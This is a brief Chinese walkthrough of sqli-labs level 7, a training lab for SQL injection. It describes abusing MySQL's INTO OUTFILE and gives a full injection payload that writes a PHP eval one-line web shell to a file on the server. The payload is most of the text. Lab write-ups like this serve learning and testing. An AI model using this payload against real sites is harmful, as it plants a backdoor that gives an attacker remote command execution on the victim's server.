sqlilabs第七关

outfile导出文件 用到了一个outfile函数，可以将sql语句的结果导出在文件中 先查询一下导出的目录位置 导出文件 load_file写入文件 导出一句话木马 id=-1')) union select 1,"<?php @eval($_GET['cmd']); ?>",3 into outfile "D:\\phpStudy\\2.txt" --+

>>阅读原文<<